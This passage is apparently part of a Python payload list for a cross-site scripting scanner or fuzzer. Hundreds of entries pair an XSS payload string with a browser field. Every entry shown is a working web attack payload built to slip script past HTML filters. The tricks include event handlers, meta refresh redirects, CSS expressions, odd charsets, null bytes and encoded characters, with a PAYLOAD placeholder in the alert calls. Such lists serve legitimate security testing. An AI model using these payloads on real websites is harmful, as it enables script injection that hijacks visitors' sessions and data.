  1928.         { 'payload':'''<img onerror=a&#x0006c;ert(PAYLOAD) src=a>''',
    1929. 

  1929.           'browser':"""[Not Info]"""},
    1930. 

  1930.         { 'payload':'''<img onerror=a&#x006c;ert(PAYLOAD) src=a>''',
    1931. 

  1931.           'browser':"""[Not Info]"""},
    1932. 

  1932.         { 'payload':'''<img onerror=a&#x06c;ert(PAYLOAD) src=a>''',
    1933. 

  1933.           'browser':"""[Not Info]"""},
    1934. 

  1934.         { 'payload':'''<img onerror=MsgBox+PAYLOAD language=vbs src=a>''',
    1935. 

  1935.           'browser':"""[Not Info]"""},
    1936. 

  1936.         { 'payload':'''<IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(PAYLOAD)’)” SRC=A>''',
    1937. 

  1937.           'browser':"""[Not Info]"""},
    1938. 

  1938.         { 'payload':'''<img onerror=”vbs:MsgBox PAYLOAD” src=a>''',
    1939. 

  1939.           'browser':"""[Not Info]"""},
    1940. 

  1940.         { 'payload':'''<IMG ONERROR=”VBS:MSGBOX PAYLOAD” SRC=A>''',
    1941. 

  1941.           'browser':"""[Not Info]"""},
    1942. 

  1942.         { 'payload':'''<img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;PAYLOAD&#x29;&#x27;&#x29; src=a>''',
    1943. 

  1943.           'browser':"""[Not Info]"""},
    1944. 

  1944.         { 'payload':'''"`'/><img/onload=alert(PAYLOAD) src=""/>''',
    1945. 

  1945.           'browser':"""[Not Info]"""},
    1946. 

  1946.         { 'payload':'''<IMG onmouseover="alert('PAYLOAD')">''',
    1947. 

  1947.           'browser':"""[Not Info]"""},
    1948. 

  1948.         { 'payload':'''<IMG SRC=" &#14;  javascript:alert(PAYLOAD);">''',
    1949. 

  1949.           'browser':"""[Not Info]"""},
    1950. 

  1950.         { 'payload':'''<IMG SRC=" &#14;  javascript:alert('PAYLOAD');">''',
    1951. 

  1951.           'browser':"""[Not Info]"""},
    1952. 

  1952.         { 'payload':'''`"'><img src='#%27 onerror=javascript:alert(PAYLOAD)>''',
    1953. 

  1953.           'browser':"""[Not Info]"""},
    1954. 

  1954.         { 'payload':'''<img src%32=x onerror="javascript:alert(PAYLOAD)">''',
    1955. 

  1955.           'browser':"""[Not Info]"""},
    1956. 

  1956.         { 'payload':'''<img src%47=x onerror="javascript:alert(PAYLOAD)">''',
    1957. 

  1957.           'browser':"""[Not Info]"""},
    1958. 

  1958.         { 'payload':'''<img src=a onerror=alert(PAYLOAD)''',
    1959. 

  1959.           'browser':"""[Not Info]"""},
    1960. 

  1960.         { 'payload':'''<img src=a onerror=alert(PAYLOAD) %0A>''',
    1961. 

  1961.           'browser':"""[Not Info]"""},
    1962. 

  1962.         { 'payload':'''<img src=a onerror=alert(PAYLOAD)%0A>a''',
    1963. 

  1963.           'browser':"""[Not Info]"""},
    1964. 

  1964.         { 'payload':'''<!--<img src="--><img src=x onerror=alert(PAYLOAD)//">''',
    1965. 

  1965.           'browser':"""[Not Info]"""},
    1966. 

  1966.         { 'payload':'''<img src=”<img src=x”/onerror=alert(PAYLOAD)//”> Jquery: <img/src/onerror=alert(PAYLOAD)>''',
    1967. 

  1967.           'browser':"""[Not Info]"""},
    1968. 

  1968.         { 'payload':'''<!--<img src="--><img src=x onerror=javascript:alert(PAYLOAD)//">''',
    1969. 

  1969.           'browser':"""[Not Info]"""},
    1970. 

  1970.         { 'payload':'''<![><img src="]><img src=x onerror=javascript:alert(PAYLOAD)//">''',
    1971. 

  1971.           'browser':"""[Not Info]"""},
    1972. 

  1972.         { 'payload':'''<img src ?Y?\/onerror = alert(PAYLOAD)​​​''',
    1973. 

  1973.           'browser':"""[Chrome]"""},
    1974. 

  1974.         { 'payload':'''<img src="x:? title=" onerror=alert(PAYLOAD)//">''',
    1975. 

  1975.           'browser':"""[Not Info]"""},
    1976. 

  1976.         { 'payload':'''><img src="x:x" onerror=alert(PAYLOAD)>''',
    1977. 

  1977.           'browser':"""[Not Info]"""},
    1978. 

  1978.         { 'payload':'''<img src='xx:x><img src=xx:x onerror=alert(PAYLOAD)>'>''',
    1979. 

  1979.           'browser':"""[Not Info]"""},
    1980. 

  1980.         { 'payload':'''<img src='xx:x onerror="alert(PAYLOAD)">'>''',
    1981. 

  1981.           'browser':"""[Not Info]"""},
    1982. 

  1982.         { 'payload':'''<img src='xx:x\ onerror="alert(PAYLOAD)">'>''',
    1983. 

  1983.           'browser':"""[Not Info]"""},
    1984. 

  1984.         { 'payload':'''<img src=x:xx onerror="try {execScript('a=PAYLOAD','vbs');alert(PAYLOAD);}catch(e){alert(PAYLOAD);}">''',
    1985. 

  1985.           'browser':"""[Not Info]"""},
    1986. 

  1986.         { 'payload':'''<img src=xx:xx alt=`/onerror=alert(PAYLOAD)//`>''',
    1987. 

  1987.           'browser':"""[Not Info]"""},
    1988. 

  1988.         { 'payload':'''`"'><img src=xxx:x onerror=alert(PAYLOAD)>''',
    1989. 

  1989.           'browser':"""[Not Info]"""},
    1990. 

  1990.         { 'payload':'''<!--<img src=xxx:x onerror=alert(PAYLOAD)> -->''',
    1991. 

  1991.           'browser':"""[Not Info]"""},
    1992. 

  1992.         { 'payload':'''<!-- `<img/src=xx:xx onerror=alert(PAYLOAD)//--!>''',
    1993. 

  1993.           'browser':"""[Not Info]"""},
    1994. 

  1994.         { 'payload':'''<img src=`xx:xx`onerror=alert(PAYLOAD)>''',
    1995. 

  1995.           'browser':"""[Not Info]"""},
    1996. 

  1996.         { 'payload':'''<img src=xx:xx onerror=alert(PAYLOAD)>''',
    1997. 

  1997.           'browser':"""[Not Info]"""},
    1998. 

  1998.         { 'payload':'''<img src=xx:xx onerror =alert(PAYLOAD);>''',
    1999. 

  1999.           'browser':"""[Not Info]"""},
    2000. 

  2000.         { 'payload':'''<img src=xx:xx# /onerror=alert(PAYLOAD)>''',
    2001. 

  2001.           'browser':"""[Not Info]"""},
    2002. 

  2002.         { 'payload':'''--><img src=xxx:x onerror=alert(PAYLOAD)> -->''',
    2003. 

  2003.           'browser':"""[Not Info]"""},
    2004. 

  2004.         { 'payload':'''--><!-- ---> <img src=xxx:x onerror=javascript:alert(PAYLOAD)> -->''',
    2005. 

  2005.           'browser':"""[Not Info]"""},
    2006. 

  2006.         { 'payload':'''<img src=xx:xx onerror=window[['alert']](PAYLOAD)>''',
    2007. 

  2007.           'browser':"""[Not Info]"""},
    2008. 

  2008.         { 'payload':'''<img src=xx:xx onerror="&#X61;lert(PAYLOAD);alert(PAYLOAD)">''',
    2009. 

  2009.           'browser':"""[Not Info]"""},
    2010. 

  2010.         { 'payload':'''<img src=xx:xx onerror="x='\',alert(PAYLOAD)//'">''',
    2011. 

  2011.           'browser':"""[Not Info]"""},
    2012. 

  2012.         { 'payload':'''<img type=image src=Y.gif onreadystatechange=alert(PAYLOAD)>''',
    2013. 

  2013.           'browser':"""[Not Info]"""},
    2014. 

  2014.         { 'payload':'''<input autofocus onfocus=alert(PAYLOAD)>''',
    2015. 

  2015.           'browser':"""[Not Info]"""},
    2016. 

  2016.         { 'payload':'''<input id='1'><input id=1><script>alert(PAYLOAD)</script>''',
    2017. 

  2017.           'browser':"""[Not Info]"""},
    2018. 

  2018.         { 'payload':'''<input id=PAYLOAD><input id=PAYLOAD><script>alert(PAYLOAD)</script>''',
    2019. 

  2019.           'browser':"""[Not Info]"""},
    2020. 

  2020.         { 'payload':'''<input onblur=alert(PAYLOAD) autofocus><input autofocus>''',
    2021. 

  2021.           'browser':"""[Not Info]"""},
    2022. 

  2022.         { 'payload':'''<input onblur=javascript:alert(PAYLOAD) autofocus><input autofocus>''',
    2023. 

  2023.           'browser':"""[Not Info]"""},
    2024. 

  2024.         { 'payload':'''<input onblur=write(PAYLOAD) autofocus><input autofocus>''',
    2025. 

  2025.           'browser':"""[Not Info]"""},
    2026. 

  2026.         { 'payload':'''<input onfocus=javascript:alert(PAYLOAD) autofocus>''',
    2027. 

  2027.           'browser':"""[Not Info]"""},
    2028. 

  2028.         { 'payload':'''<input onfocus=write(PAYLOAD) autofocus>''',
    2029. 

  2029.           'browser':"""[Not Info]"""},
    2030. 

  2030.         { 'payload':'''<input/onmouseover="javaSCRIPT&colon;confirm&lpar;PAYLOAD&rpar;"''',
    2031. 

  2031.           'browser':"""[Not Info]"""},
    2032. 

  2032.         { 'payload':'''<input type="image" dynsrc="javascript:alert(PAYLOAD);">''',
    2033. 

  2033.           'browser':"""[Not Info]"""},
    2034. 

  2034.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:alert(PAYLOAD);">''',
    2035. 

  2035.           'browser':"""[Not Info]"""},
    2036. 

  2036.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:alert('PAYLOAD');">''',
    2037. 

  2037.           'browser':"""[Not Info]"""},
    2038. 

  2038.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(PAYLOAD);">''',
    2039. 

  2039.           'browser':"""[Not Info]"""},
    2040. 

  2040.         { 'payload':'''<input type=image src=Y.gif onreadystatechange=alert(PAYLOAD)>''',
    2041. 

  2041.           'browser':"""[Not Info]"""},
    2042. 

  2042.         { 'payload':'''<input type="text" AUTOFOCUS onfocus=alert(PAYLOAD)>''',
    2043. 

  2043.           'browser':"""[Not Info]"""},
    2044. 

  2044.         { 'payload':'''<input type="text" value=``<div/onmouseover='alert(PAYLOAD)'>X</div>''',
    2045. 

  2045.           'browser':"""[Not Info]"""},
    2046. 

  2046.         { 'payload':'''<input type="text" value=`` <div/onmouseover='alert(PAYLOAD)'>X</div>''',
    2047. 

  2047.           'browser':"""[Not Info]"""},
    2048. 

  2048.         { 'payload':'''<input value=<><iframe/src=javascript:confirm(PAYLOAD)''',
    2049. 

  2049.           'browser':"""[Not Info]"""},
    2050. 

  2050.         { 'payload':'''<isindex action=javascript:alert(PAYLOAD) type=image>''',
    2051. 

  2051.           'browser':"""[Not Info]"""},
    2052. 

  2052.         { 'payload':'''<isindex type=image src=1 onerror=alert(PAYLOAD)>''',
    2053. 

  2053.           'browser':"""[Not Info]"""},
    2054. 

  2054.         { 'payload':'''<isindex type=image src=Y.gif onreadystatechange=alert(PAYLOAD)>''',
    2055. 

  2055.           'browser':"""[Not Info]"""},
    2056. 

  2056.         { 'payload':'''Y%20-%22%3E%3Cscript%3Ealert(PAYLOAD)%3C%2Fscript%3E''',
    2057. 

  2057.           'browser':"""[Not Info]"""},
    2058. 

  2058.         { 'payload':'''Y%20%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
    2059. 

  2059.           'browser':"""[Not Info]"""},
    2060. 

  2060.         { 'payload':'''"'`>Y<div style="font-family:'foo;x:expression(alert(PAYLOAD));/*';">Y''',
    2061. 

  2061.           'browser':"""[Not Info]"""},
    2062. 

  2062.         { 'payload':'''"'`>Y<div style="font-family:'foo'x:expression(alert(PAYLOAD));/*';">Y''',
    2063. 

  2063.           'browser':"""[Not Info]"""},
    2064. 

  2064.         { 'payload':'''Y<div style="x:expression(alert(PAYLOAD))">Y''',
    2065. 

  2065.           'browser':"""[Not Info]"""},
    2066. 

  2066.         { 'payload':'''Y<div style="xexpression(alert(PAYLOAD))">Y''',
    2067. 

  2067.           'browser':"""[Not Info]"""},
    2068. 

  2068.         { 'payload':'''<Y STYLE="Y:expression(alert(PAYLOAD))">''',
    2069. 

  2069.           'browser':"""[Not Info]"""},
    2070. 

  2070.         { 'payload':'''<keygen autofocus onfocus=alert(PAYLOAD)>''',
    2071. 

  2071.           'browser':"""[Not Info]"""},
    2072. 

  2072.         { 'payload':'''<keygen onfocus=javascript:alert(PAYLOAD) autofocus>''',
    2073. 

  2073.           'browser':"""[Not Info]"""},
    2074. 

  2074.         { 'payload':'''<LAYER SRC="javascript:alert(PAYLOAD);"></LAYER>''',
    2075. 

  2075.           'browser':"""[Not Info]"""},
    2076. 

  2076.         { 'payload':'''<LINK REL="stylesheet" HREF="javascript:alert(PAYLOAD);">''',
    2077. 

  2077.           'browser':"""[Not Info]"""},
    2078. 

  2078.         { 'payload':'''<LINK REL="stylesheet" HREF="javascript:alert('PAYLOAD');">''',
    2079. 

  2079.           'browser':"""[Not Info]"""},
    2080. 

  2080.         { 'payload':'''<LINK REL="stylesheet" HREF="javascript:javascript:alert(PAYLOAD);">''',
    2081. 

  2081.           'browser':"""[Not Info]"""},
    2082. 

  2082.         { 'payload':'''<li style=list-style:url() onerror=alert(PAYLOAD)></li>''',
    2083. 

  2083.           'browser':"""[Not Info]"""},
    2084. 

  2084.         { 'payload':'''<marquee onScroll marquee onScroll="javascript:javascript:alert(PAYLOAD)"></marquee onScroll>''',
    2085. 

  2085.           'browser':"""[Not Info]"""},
    2086. 

  2086.         { 'payload':'''<marquee onstart='javascript:alert&#x28;PAYLOAD&#x29;'>^__^''',
    2087. 

  2087.           'browser':"""[Not Info]"""},
    2088. 

  2088.         { 'payload':'''<marquee onStart marquee onStart="javascript:javascript:alert(PAYLOAD)"></marquee onStart>''',
    2089. 

  2089.           'browser':"""[Not Info]"""},
    2090. 

  2090.         { 'payload':'''<meta charset="mac-farsi">¼script¾javascript:alert(PAYLOAD)¼/script¾''',
    2091. 

  2091.           'browser':"""[Not Info]"""},
    2092. 

  2092.         { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(PAYLOAD)&&;&&<&&/script&&>''',
    2093. 

  2093.           'browser':"""[Not Info]"""},
    2094. 

  2094.         { 'payload':'''<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(PAYLOAD)&R&UA;&&<&A9&11/script&X&>''',
    2095. 

  2095.           'browser':"""[Not Info]"""},
    2096. 

  2096.         { 'payload':'''<meta content="&NewLine; PAYLOAD &NewLine;; JAVASCRIPT&colon; alert(PAYLOAD)" http-equiv="refresh"/>''',
    2097. 

  2097.           'browser':"""[Not Info]"""},
    2098. 

  2098.         { 'payload':'''<META HTTP-EQUIV="Link" Content="<javascript:alert(PAYLOAD)>; REL=stylesheet">''',
    2099. 

  2099.           'browser':"""[Not Info]"""},
    2100. 

  2100.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0.1; URL=javascript:void()//?;URL=javascript:alert(PAYLOAD)//">''',
    2101. 

  2101.           'browser':"""[Not Info]"""},
    2102. 

  2102.         { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;alert(PAYLOAD)"/>''',
    2103. 

  2103.           'browser':"""[Not Info]"""},
    2104. 

  2104.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(PAYLOAD);">​''',
    2105. 

  2105.           'browser':"""[Not Info]"""},
    2106. 

  2106.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('PAYLOAD');">''',
    2107. 

  2107.           'browser':"""[Not Info]"""},
    2108. 

  2108.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(PAYLOAD);">''',
    2109. 

  2109.           'browser':"""[Not Info]"""},
    2110. 

  2110.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(PAYLOAD);">''',
    2111. 

  2111.           'browser':"""[Not Info]"""},
    2112. 

  2112.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('PAYLOAD');">''',
    2113. 

  2113.           'browser':"""[Not Info]"""},
    2114. 

  2114.         { 'payload':'''<meta http-equiv="refresh" content="0;url=javascript:confirm(PAYLOAD)">''',
    2115. 

  2115.           'browser':"""[Not Info]"""},
    2116. 

  2116.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(PAYLOAD);">''',
    2117. 

  2117.           'browser':"""[Not Info]"""},
    2118. 

  2118.         { 'payload':'''<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert(PAYLOAD)&lt;/SCRIPT&gt;">''',
    2119. 

  2119.           'browser':"""[Not Info]"""},
    2120. 

  2120.         { 'payload':'''<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(PAYLOAD)</SCRIPT>">''',
    2121. 

  2121.           'browser':"""[Not Info]"""},
    2122. 

  2122.         { 'payload':'''<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('PAYLOAD')</SCRIPT>">''',
    2123. 

  2123.           'browser':"""[Not Info]"""},
    2124. 

  2124.         { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(PAYLOAD)"></OBJECT>''',
    2125. 

  2125.           'browser':"""[Not Info]"""},
    2126. 

  2126.         { 'payload':'''<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(PAYLOAD)></OBJECT>''',
    2127. 

  2127.           'browser':"""[Not Info]"""},
    2128. 

  2128.         { 'payload':'''<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(PAYLOAD)></OBJECT>''',
    2129. 

  2129.           'browser':"""[Not Info]"""},
    2130. 

  2130.         { 'payload':'''<object classid="clsid:..." codebase="javascript:alert(PAYLOAD);">''',
    2131. 

  2131.           'browser':"""[Not Info]"""},
    2132. 

  2132.         { 'payload':'''object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(PAYLOAD)" style="behavior:url(#x);"><param name=postdomevents /></object>''',
    2133. 

  2133.           'browser':"""[Not Info]"""},
    2134. 

  2134.         { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(PAYLOAD)" style="behavior:url(#x);"><param name=postdomevents /></object>''',
    2135. 

  2135.           'browser':"""[Not Info]"""},
    2136. 

  2136.         { 'payload':'''<object onbeforeload object onbeforeload="javascript:javascript:alert(PAYLOAD)"></object onbeforeload>''',
    2137. 

  2137.           'browser':"""[Not Info]"""},
    2138. 

  2138.         { 'payload':'''<object onerror=alert(PAYLOAD)>''',
    2139. 

  2139.           'browser':"""[Not Info]"""},
    2140. 

  2140.         { 'payload':'''<object onerror=javascript:javascript:alert(PAYLOAD)>''',
    2141. 

  2141.           'browser':"""[Not Info]"""},
    2142. 

  2142.         { 'payload':'''<object onError object onError="javascript:javascript:alert(PAYLOAD)"></object onError>''',
    2143. 

  2143.           'browser':"""[Not Info]"""},
    2144. 

  2144.         { 'payload':'''<object src=1 href=1 onerror="javascript:alert(PAYLOAD)"></object>''',
    2145. 

  2145.           'browser':"""[Not Info]"""},
    2146. 

  2146.         { 'payload':'''<object type=image src=Y.gif onreadystatechange=alert(PAYLOAD)></object>''',
    2147. 

  2147.           'browser':"""[Not Info]"""},
    2148. 

  2148.         { 'payload':'''onerror=eval;throw'alert%28PAYLOAD%29';''',
    2149. 

  2149.           'browser':"""[Not Info]"""},
    2150. 

  2150.         { 'payload':'''onmouseover=alert(PAYLOAD);''',
    2151. 

  2151.           'browser':"""[Not Info]"""},
    2152. 

  2152.         { 'payload':'''"onmouseover="alert(PAYLOAD)"a="''',
    2153. 

  2153.           'browser':"""[Not Info]"""},
    2154. 

  2154.         { 'payload':'''"onmouseover=alert(PAYLOAD);a="''',
    2155. 

  2155.           'browser':"""[Not Info]"""},
    2156. 

  2156.         { 'payload':'''</plaintext\></|\><plaintext/onmouseover=prompt(1)''',
    2157. 

  2157.           'browser':"""[Not Info]"""},
    2158. 

  2158.         { 'payload':'''<p/onmouseover=javascript:alert(PAYLOAD); >Y</p>''',
    2159. 

  2159.           'browser':"""[Not Info]"""},
    2160. 

  2160.         { 'payload':'''<p style="background:url('javascript:alert(PAYLOAD)')">''',
    2161. 

  2161.           'browser':"""[Not Info]"""},
    2162. 

  2162.         { 'payload':'''<P STYLE="behavior:url('#Zault#time2')" end="0" onEnd="javascript:alert(PAYLOAD)">''',
    2163. 

  2163.           'browser':"""[Not Info]"""},
    2164. 

  2164.         { 'payload':'''<p style="font-family:'\22\3bx:expression(alert(PAYLOAD))/*'">''',
    2165. 

  2165.           'browser':"""[Not Info]"""},
    2166. 

  2166.         { 'payload':'''"'`><p><svg><script>a='Y%27;javascript:alert(PAYLOAD)//';</script></p>''',
    2167. 

  2167.           'browser':"""[Not Info]"""},
    2168. 

  2168.         { 'payload':'''"'`><p><svg><script>a='Y;alert(PAYLOAD)//';</script></p>''',
    2169. 

  2169.           'browser':"""[Not Info]"""},
    2170. 

  2170.         { 'payload':'''<p><svg><script>alert(PAYLOAD)</script></p>''',
    2171. 

  2171.           'browser':"""[Not Info]"""},
    2172. 

  2172.         { 'payload':'''s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27PAYLOAD%3F%29%29''',
    2173. 

  2173.           'browser':"""[Not Info]"""},
    2174. 

  2174.         { 'payload':'''s%22%20style=%22background:url(javascript:alert(’PAYLOAD’))''',
    2175. 

  2175.           'browser':"""[Not Info]"""},
    2176. 

  2176.         { 'payload':'''s%22%20style=x:expression(alert(PAYLOAD))''',
    2177. 

  2177.           'browser':"""[Not Info]"""},
    2178. 

  2178.         { 'payload':'''<scr%00ipt%20&message=> alert(‘PAYLOAD’)</script>''',
    2179. 

  2179.           'browser':"""[Not Info]"""},
    2180. 

  2180.         { 'payload':'''<script /*%00*/>/*%00*/alert(PAYLOAD)/*%00*/</script /*%00*/''',
    2181. 

  2181.           'browser':"""[Not Info]"""},
    2182. 

  2182.         { 'payload':'''<script>({0:#0=alert/#0#/#0#(PAYLOAD)})</script>''',
    2183. 

  2183.           'browser':"""[Not Info]"""},
    2184. 

  2184.         { 'payload':'''<script>({0:#0=eval/#0#/#0#(javascript:alert(PAYLOAD))})</script>''',
    2185. 

  2185.           'browser':"""[Not Info]"""},
    2186. 

  2186.         { 'payload':'''<script>/* *%00/javascript:alert(PAYLOAD)// */</script>''',
    2187. 

  2187.           'browser':"""[Not Info]"""},
    2188. 

  2188.         { 'payload':'''<script%00>javascript:alert(PAYLOAD)</script>''',
    2189. 

  2189.           'browser':"""[Not Info]"""},
    2190. 

  2190.         { 'payload':'''"`'><script>%00javascript:alert(PAYLOAD)</script>''',
    2191. 

  2191.           'browser':"""[Not Info]"""},
    2192. 

  2192.         { 'payload':'''<script%09>javascript:alert(PAYLOAD)</script>''',
    2193. 

  2193.           'browser':"""[Not Info]"""},
    2194. 

  2194.         { 'payload':'''"`'><script>%09javascript:alert(PAYLOAD)</script>''',
    2195. 

  2195.           'browser':"""[Not Info]"""},
    2196. 

  2196.         { 'payload':'''<script%09type="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2197. 

  2197.           'browser':"""[Not Info]"""},
    2198. 

  2198.         { 'payload':'''<script%0A>javascript:alert(PAYLOAD)</script>''',
    2199. 

  2199.           'browser':"""[Not Info]"""},
    2200. 

  2200.         { 'payload':'''"`'><script>%0Ajavascript:alert(PAYLOAD)</script>''',
    2201. 

  2201.           'browser':"""[Not Info]"""},
    2202. 

  2202.         { 'payload':'''<script%0Atype="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2203. 

  2203.           'browser':"""[Not Info]"""},
    2204. 

  2204.         { 'payload':'''"`'><script>%0Bjavascript:alert(PAYLOAD)</script>''',
    2205. 

  2205.           'browser':"""[Not Info]"""},
    2206. 

  2206.         { 'payload':'''<script%0C>javascript:alert(PAYLOAD)</script>''',
    2207. 

  2207.           'browser':"""[Not Info]"""},
    2208. 

  2208.         { 'payload':'''"`'><script>%0Cjavascript:alert(PAYLOAD)</script>''',
    2209. 

  2209.           'browser':"""[Not Info]"""},
    2210. 

  2210.         { 'payload':'''<script%0Ctype="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2211. 

  2211.           'browser':"""[Not Info]"""},
    2212. 

  2212.         { 'payload':'''<script%0D>javascript:alert(PAYLOAD)</script>''',
    2213. 

  2213.           'browser':"""[Not Info]"""},
    2214. 

  2214.         { 'payload':'''"`'><script>%0Djavascript:alert(PAYLOAD)</script>''',
    2215. 

  2215.           'browser':"""[Not Info]"""},
    2216. 

  2216.         { 'payload':'''<script%0Dtype="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2217. 

  2217.           'browser':"""[Not Info]"""},
    2218. 

  2218.         { 'payload':'''<script>+-+-PAYLOAD-+-+alert(PAYLOAD)</script>''',
    2219. 

  2219.           'browser':"""[Not Info]"""},
    2220. 

  2220.         { 'payload':'''><script>PAYLOAD<\\/script>''',
    2221. 

  2221.           'browser':"""[Not Info]"""},
    2222. 

  2222.         { 'payload':'''\"><script>PAYLOAD<\\/script>''',
    2223. 

  2223.           'browser':"""[Not Info]"""},
    2224. 

  2224.         { 'payload':'''\\\'><script>PAYLOAD<\\/script>''',
    2225. 

  2225.           'browser':"""[Not Info]"""},
    2226. 

  2226.         { 'payload':'''<script%20>javascript:alert(PAYLOAD)</script>''',
    2227. 

  2227.           'browser':"""[Not Info]"""},
    2228. 

  2228.         { 'payload':'''"`'><script>%20javascript:alert(PAYLOAD)</script>''',
    2229. 

  2229.           'browser':"""[Not Info]"""},
    2230. 

  2230.         { 'payload':'''<script%20language=vbscript>msgbox%20PAYLOAD</script>''',
    2231. 

  2231.           'browser':"""[Not Info]"""},
    2232. 

  2232.         { 'payload':'''<script%20type="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2233. 

  2233.           'browser':"""[Not Info]"""},
    2234. 

  2234.         { 'payload':'''"`'><script>%21javascript:alert(PAYLOAD)</script>''',
    2235. 

  2235.           'browser':"""[Not Info]"""},
    2236. 

  2236.         { 'payload':'''<script>/* *%2A/javascript:alert(PAYLOAD)// */</script>''',
    2237. 

  2237.           'browser':"""[Not Info]"""},
    2238. 

  2238.         { 'payload':'''"`'><script>%2Bjavascript:alert(PAYLOAD)</script>''',
    2239. 

  2239.           'browser':"""[Not Info]"""},
    2240. 

  2240.         { 'payload':'''<script%2F>javascript:alert(PAYLOAD)</script>''',
    2241. 

  2241.           'browser':"""[Not Info]"""},
    2242. 

  2242.         { 'payload':''''"`><script>/* *%2Fjavascript:alert(PAYLOAD)// */</script>''',
    2243. 

  2243.           'browser':"""[Not Info]"""},
    2244. 

  2244.         { 'payload':'''<script%2Ftype="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2245. 

  2245.           'browser':"""[Not Info]"""},
    2246. 

  2246.         { 'payload':'''"`'><script>%3Bjavascript:alert(PAYLOAD)</script>''',
    2247. 

  2247.           'browser':"""[Not Info]"""},
    2248. 

  2248.         { 'payload':'''<script%3Etype="text/javascript">javascript:alert(PAYLOAD);</script>''',
    2249. 

  2249.           'browser':"""[Not Info]"""},
    2250. 

  2250.         { 'payload':'''<ScRipT 5-0*3+9/3=>prompt(PAYLOAD)</ScRipT Y=?''',
    2251. 

  2251.           'browser':"""[Not Info]"""},
    2252. 

  2252.         { 'payload':'''"`'><script>%7Ejavascript:alert(PAYLOAD)</script>''',
    2253. 

  2253.           'browser':"""[Not Info]"""},
    2254. 

  2254.         { 'payload':'''<script>a%006cert(PAYLOAD);</script>''',
    2255. 

  2255.           'browser':"""[Not Info]"""},
    2256. 

  2256.         { 'payload':'''<SCRIPT>a=/PAYLOAD/''',
    2257. 

  2257.           'browser':"""[Not Info]"""},
    2258. 

  2258.         { 'payload':'''<script>a='Y\\';alert(PAYLOAD)//Y';</script>''',
    2259. 

  2259.           'browser':"""[Not Info]"""},
    2260. 

  2260.         { 'payload':'''"'`><script>a=/Y;;i=0;alert(PAYLOAD);a/i;</script>''',
    2261. 

  2261.           'browser':"""[Not Info]"""},
    2262. 

  2262.         { 'payload':'''<SCRIPT>a=/Y/\nalert(PAYLOAD);</SCRIPT>''',
    2263. 

  2263.           'browser':"""[Not Info]"""},
    2264. 

  2264.         { 'payload':'''<<SCRIPT>alert(PAYLOAD);/''',
    2265. 

  2265.           'browser':"""[Not Info]"""},
    2266. 

  2266.         { 'payload':'''<script>alert(PAYLOAD,PAYLOAD</script//)</script>''',
    2267. 

  2267.           'browser':"""[Not Info]"""},
    2268. 

  2268.         { 'payload':'''<script>alert(PAYLOAD,PAYLOAD</script/)</script>''',
    2269. 

  2269.           'browser':"""[Not Info]"""},
    2270. 

  2270.         { 'payload':'''<script>alert(PAYLOAD)/Y/'</script>''',
    2271. 

  2271.           'browser':"""[Not Info]"""},
    2272. 

  2272.         { 'payload':'''<script>’alert(PAYLOAD)’.replace(/.+/,eval)</script>''',
    2273. 

  2273.           'browser':"""[Not Info]"""},
    2274. 

  2274.         { 'payload':'''<<script>alert(PAYLOAD);</script>''',
    2275. 

  2275.           'browser':"""[Not Info]"""},
    2276. 

  2276.         { 'payload':'''<!-- -- --><script>alert(PAYLOAD);</script><!-- -- -->''',
    2277. 

  2277.           'browser':"""[Not Info]"""},
    2278. 

  2278.         { 'payload':'''<%25<!--'%25><script>alert(PAYLOAD);</script -->''',
    2279. 

  2279.           'browser':"""[Not Info]"""},
    2280. 

  2280.         { 'payload':'''<script<{alert(PAYLOAD)}/></script </>''',
    2281. 

  2281.           'browser':"""[Not Info]"""},
    2282. 

  2282.         { 'payload':'''<script>/* */alert(PAYLOAD)// */</script>''',
    2283. 

  2283.           'browser':"""[Not Info]"""},
    2284. 

  2284.         { 'payload':'''<script>alert(\'\\/\\PAYLOAD\\/\\\')</script>''',
    2285. 

  2285.           'browser':"""[Not Info]"""},
    2286. 

  2286.         { 'payload':'''<script>alert(\'\\\\PAYLOAD\\\\\')</script>''',
    2287. 

  2287.           'browser':"""[Not Info]"""},
    2288. 

